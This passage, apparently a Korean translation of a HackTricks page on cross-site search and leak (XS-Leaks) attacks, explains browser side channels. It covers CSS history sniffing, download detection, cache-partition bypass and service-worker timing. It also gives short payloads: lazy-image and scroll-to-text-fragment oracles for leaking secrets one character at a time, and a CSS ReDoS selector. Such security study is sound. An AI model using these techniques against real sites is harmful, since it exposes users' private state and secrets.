이 기술의 예로는 크롬에서 PDF를 프레임 카운팅으로 감지할 수 있습니다. 이는 내부적으로 embed가 사용되기 때문입니다. 이 기술이 흥미로울 수 있는 zoom, view, page, toolbar와 같은 Open URL Parameters가 있습니다.

HTMLElements

HTML 요소를 통한 정보 누출은 웹 보안에서 주요한 문제입니다. 특히 사용자 정보를 기반으로 동적 미디어 파일이 생성되거나 워터마크가 추가되는 경우에는 더욱 중요합니다. 이는 공격자가 특정 HTML 요소가 노출하는 정보를 분석하여 가능한 상태를 구별하는 데 악용될 수 있습니다.

HTML 요소에 의해 노출되는 정보

  • HTMLMediaElement: 이 요소는 미디어의 duration과 buffered 시간을 노출하며, 이는 해당 요소의 API를 통해 액세스할 수 있습니다. HTMLMediaElement에 대해 더 알아보기
  • HTMLVideoElement: 이 요소는 videoHeight와 videoWidth를 노출합니다. 일부 브라우저에서는 webkitVideoDecodedByteCount, webkitAudioDecodedByteCount, webkitDecodedFrameCount와 같은 추가 속성이 제공되어 미디어 콘텐츠에 대한 자세한 정보를 제공합니다. HTMLVideoElement에 대해 더 알아보기
  • getVideoPlaybackQuality(): 이 함수는 비디오 재생 품질에 대한 세부 정보를 제공하며, 이 중 totalVideoFrames는 처리된 비디오 데이터의 양을 나타낼 수 있습니다. getVideoPlaybackQuality()에 대해 더 알아보기
  • HTMLImageElement: 이 요소는 이미지의 height와 width를 누설합니다. 그러나 이미지가 잘못된 경우 이러한 속성은 0을 반환하고 image.decode() 함수는 이미지를 제대로 로드하지 못했다는 것을 나타내는 거부됩니다. HTMLImageElement에 대해 더 알아보기

CSS 속성

웹 애플리케이션은 사용자의 상태에 따라 웹 사이트 스타일링을 변경할 수 있습니다. HTML 링크 요소를 사용하여 공격자 페이지에 크로스 오리진 CSS 파일을 포함하고, 이 규칙이 공격자 페이지에 적용됩니다. 페이지가 이러한 규칙을 동적으로 변경하는 경우, 공격자는 사용자 상태에 따라 이러한 차이점을 감지할 수 있습니다.
누출 기술로서, 공격자는 window.getComputedStyle 메서드를 사용하여 특정 HTML 요소의 CSS 속성을 읽을 수 있습니다. 결과적으로, 영향을 받는 요소와 속성 이름이 알려진 경우 공격자는 임의의 CSS 속성을 읽을 수 있습니다.

CSS 히스토리

{% hint style="info" %} 여기에 따르면 headless Chrome에서는 작동하지 않습니다. {% endhint %}

CSS :visited 선택자는 사용자가 이전에 방문한 경우 URL을 다르게 스타일링하는 데 사용됩니다. 과거에는 getComputedStyle() 메서드를 사용하여 이러한 스타일 차이를 식별할 수 있었습니다. 그러나 현대의 브라우저는 이 메서드가 링크의 상태를 공개하지 못하도록 보안 조치를 적용했습니다. 이러한 조치에는 링크가 방문한 것처럼 항상 계산된 스타일을 반환하고 :visited 선택자로 적용할 수 있는 스타일을 제한하는 것이 포함됩니다.

그러나 이러한 제한을 우회하여 링크의 방문한 상태를 간접적으로 식별할 수 있습니다. 한 기술은 사용자가 CSS에 영향을 받는 영역과 상호 작용하도록 유도하는 것으로, 특히 mix-blend-mode 속성을 활용합니다. 이 속성은 요소를 배경과 혼합하여 사용자 상호 작용에 따라 방문한 상태를 나타낼 수 있습니다.

또한, 링크의 렌더링 타이밍을 악용하여 사용자 상호 작용 없이도 감지할 수 있습니다.

ContentDocument X-Frame Leak

Chrome에서 X-Frame-Options 헤더가 "deny" 또는 "same-origin"으로 설정된 페이지가 객체로 임베드되면 오류 페이지가 나타납니다. Chrome은 이 객체의 contentDocument 속성에 대해 null 대신 빈 문서 객체를 반환하는 독특한 동작을 합니다. 이는 iframe이나 다른 브라우저와 달리 빈 문서를 감지하는 공격자가 사용자의 상태에 대한 정보를 노출시킬 수 있습니다. 특히 개발자가 X-Frame-Options 헤더를 일관되게 설정하지 않고 오류 페이지를 간과하는 경우에 이러한 누출이 발생할 수 있습니다. 보안 헤더의 인식과 일관된 적용은 이러한 누출을 방지하는 데 중요합니다.

다운로드 감지

Content-Disposition 헤더, 특히 Content-Disposition: attachment는 브라우저에게 콘텐츠를 인라인으로 표시하는 대신 다운로드하도록 지시합니다. 이 동작은 사용자가 파일 다운로드를 트리거하는 페이지에 액세스할 수 있는지 여부를 감지하는 데 악용될 수 있습니다. 크로미움 기반 브라우저에서는 다음과 같은 몇 가지 기술을 사용하여 이 다운로드 동작을 감지할 수 있습니다:

  1. 다운로드 바 모니터링:
  • 크로미움 기반 브라우저에서 파일이 다운로드되면 브라우저 창 하단에 다운로드 바가 나타납니다.
  • 창 높이의 변경을 모니터링함으로써 공격자는 다운로드 바의 표시 여부를 추론할 수 있으며, 이는 다운로드가 시작되었음을 시사합니다.
  1. Iframe을 사용한 다운로드 탐색:
  • Content-Disposition: attachment 헤더를 사용하여 페이지가 파일 다운로드를 트리거하는 경우, 탐색 이벤트가 발생하지 않습니다.
  • 콘텐츠를 iframe에 로드하고 탐색 이벤트를 모니터링함으로써 콘텐츠 디스포지션이 파일 다운로드를 유발하는지 여부를 확인할 수 있습니다(탐색 없음).
  1. Iframe 없이 다운로드 탐색:
  • iframe 기술과 유사하게, 이 방법은 iframe 대신 window.open을 사용합니다.
  • 새로 열린 창에서 탐색 이벤트를 모니터링함으로써 파일 다운로드가 트리거되었는지(탐색 없음) 또는 콘텐츠가 인라인으로 표시되었는지(탐색 발생)를 확인할 수 있습니다.

로그인한 사용자만이 이러한 다운로드를 트리거할 수 있는 시나리오에서는 이러한 기술을 사용하여 브라우저의 다운로드 요청에 대한 응답을 통해 간접적으로 사용자의 인증 상태를 추론할 수 있습니다.

분할된 HTTP 캐시 우회

{% hint style="warning" %} 이 기술이 흥미로운 이유: Chrome은 이제 캐시 분할을 갖고 있으며, 새로 열린 페이지의 캐시 키는 다음과 같습니다: (https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m=xxx). 그러나 ngrok 페이지를 열고 그 안에서 fetch를 사용하면 캐시 키는 다음과 같습니다: (https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx). 캐시 키가 다르기 때문에 캐시를 공유할 수 없습니다. 자세한 내용은 여기에서 확인할 수 있습니다: 캐시를 분할하여 보안과 개인 정보 보호 확보
(출처: 여기) {% endhint %}

사이트 example.com에서 *.example.com/resource로부터 리소스를 포함하는 경우, 해당 리소스는 최상위 탐색을 통해 직접 요청한 것과 동일한 캐싱 키를 갖게 됩니다. 이는 캐시에 액세스하는 것이 리소스를 로드하는 것보다 빠르기 때문에 페이지의 위치를 변경하고 20ms 후에 취소하는 시도를 할 수 있습니다. 중지 후에 원본이 변경되었다면 리소스가 캐시되었음을 의미합니다.
또는 캐시된 페이지로 일부 fetch를 보내고 소요 시간을 측정할 수도 있습니다.

수동 리디렉션

  • 포함 방법: Fetch API
  • 감지 가능한 차이점: 리디렉션

스크립트 오염

서비스 워커

주어진 시나리오에서 공격자는 자신의 도메인 중 하나인 "attacker.com"에서 서비스 워커를 등록합니다. 그 다음, 공격자는 대상 웹사이트에서 메인 문서로부터 새 창을 열고 서비스 워커에게 타이머를 시작하도록 지시합니다. 새 창이 로드되기 시작하면, 공격자는 이전 단계에서 얻은 참조를 서비스 워커가 관리하는 페이지로 이동시킵니다.

이전 단계에서 시작된 요청이 도착하면, 서비스 워커는 204 (No Content) 상태 코드로 응답하여 탐색 프로세스를 종료합니다. 이 시점에서 서비스 워커는 이전에 시작된 타이머로부터 측정 값을 캡처합니다. 이 측정 값은 탐색 프로세스에서 지연을 발생시키는 JavaScript의 지속 시간에 영향을 받습니다.

{% hint style="warning" %} 실행 시간 측정에서 네트워크 요소를 제거하여 더 정확한 측정 값을 얻을 수 있습니다. 예를 들어, 페이지를 로드하기 전에 페이지에서 사용하는 리소스를 로드하는 방식으로 가능합니다. {% endhint %}

Fetch Timing

Cross-Window Timing


Trickest를 사용하여 세계에서 가장 고급 커뮤니티 도구를 활용한 워크플로우를 쉽게 구축하고 자동화할 수 있습니다.
오늘 바로 액세스하세요:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

HTML 또는 Re Injection으로

여기에서는 HTML 콘텐츠를 주입하여 크로스 오리진 HTML에서 정보를 유출하는 기술을 찾을 수 있습니다. 이러한 기술은 어떤 이유로 인해 JS 코드를 주입할 수 없지만 HTML을 주입할 수 있는 경우에 흥미로울 수 있습니다.

Dangling Markup

{% content-ref url="dangling-markup-html-scriptless-injection/" %} dangling-markup-html-scriptless-injection {% endcontent-ref %}

이미지 지연 로딩

콘텐츠를 유출해야 하고, 비밀 정보 이전에 HTML을 추가할 수 있는 경우, 일반적인 미사용 마크업 기법을 확인해야 합니다.
그러나 어떤 이유로 인해 문자 단위로 수행해야 하는 경우 (아마도 통신이 캐시 히트를 통해 이루어진다면), 이 트릭을 사용할 수 있습니다.

HTML의 이미지는 "loading" 속성을 가지며, 값으로 "lazy"를 사용할 수 있습니다. 이 경우, 이미지는 페이지가 로드되는 동안이 아닌 보여질 때 로드됩니다:

<img src=/something loading=lazy >

따라서, 할 수 있는 것은 많은 쓰레기 문자를 추가하는 것입니다 (예를 들어 수천 개의 "W"). 시크릿 이전에 웹 페이지를 채우거나 <br><canvas height="1850px"></canvas><br>와 같은 것을 추가할 수도 있습니다.
그런 다음 예를 들어 인젝션이 플래그 이전에 나타나는 경우, 이미지가 로드될 것이지만, 플래그 이후에 나타나는 경우, 플래그 + 쓰레기로 인해 로드되지 않을 것입니다 (얼마나 많은 쓰레기를 배치할지 조절해야 합니다). 이것이 이 라이트업에서 발생한 일입니다.

다른 옵션은 허용된 경우 scroll-to-text-fragment를 사용하는 것입니다:

Scroll-to-text-fragment

그러나, 봇이 페이지에 접근하도록 하는 것입니다.

#:~:text=SECR

웹 페이지는 다음과 같을 것입니다: https://victim.com/post.html#:~:text=SECR

여기서 post.html은 공격자의 쓰레기 문자와 레이지 로드 이미지를 포함하고 그 다음에 봇의 비밀이 추가됩니다.

이 텍스트는 봇이 SECR이라는 텍스트를 포함하는 페이지의 모든 텍스트에 액세스하도록 만듭니다. 해당 텍스트는 비밀이며 이미지 아래에만 있으므로 추측한 비밀이 올바른 경우에만 이미지가 로드됩니다. 그래서 여기에는 문자별로 비밀을 유출하는 오라클이 있습니다.

이를 악용하기 위한 코드 예시: https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e

이미지 레이지 로딩 기반의 시간 지연

외부 이미지를 로드할 수 없는 경우, 이미지가 로드되었음을 알려주는 것이 불가능한 경우에는 여러 번 문자를 추측하고 그 시간을 측정하는 것이 다른 옵션이 될 수 있습니다. 이미지가 로드되면 모든 요청이 로드되지 않은 경우보다 더 오래 걸립니다. 이것은 이 문제의 해결 방법에서 사용된 방법입니다.

{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %} event-loop-blocking-+-lazy-images.md {% endcontent-ref %}

ReDoS

{% content-ref url="regular-expression-denial-of-service-redos.md" %} regular-expression-denial-of-service-redos.md {% endcontent-ref %}

CSS ReDoS

jQuery(location.hash)를 사용하는 경우, HTML 콘텐츠가 존재하는지 여부를 시간 측정을 통해 확인할 수 있습니다. 이는 선택자 main[id='site-main']이 일치하지 않으면 나머지 선택자를 확인할 필요가 없기 때문입니다.

$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']")

CSS 삽입

{% content-ref url="xs-search/css-injection/" %} css-injection {% endcontent-ref %}

방어

https://xsinator.com/paper.pdf에 권장되는 방어책이 있으며, 각 섹션의 위키 https://xsleaks.dev/에서도 더 많은 정보를 얻을 수 있습니다. 이러한 기술에 대한 보호 방법에 대해 자세히 알아보세요.

참고 자료

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:


Trickest를 사용하여 세계에서 가장 고급스러운 커뮤니티 도구를 활용한 워크플로우를 쉽게 구축하고 자동화하세요.
오늘 바로 액세스하세요:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}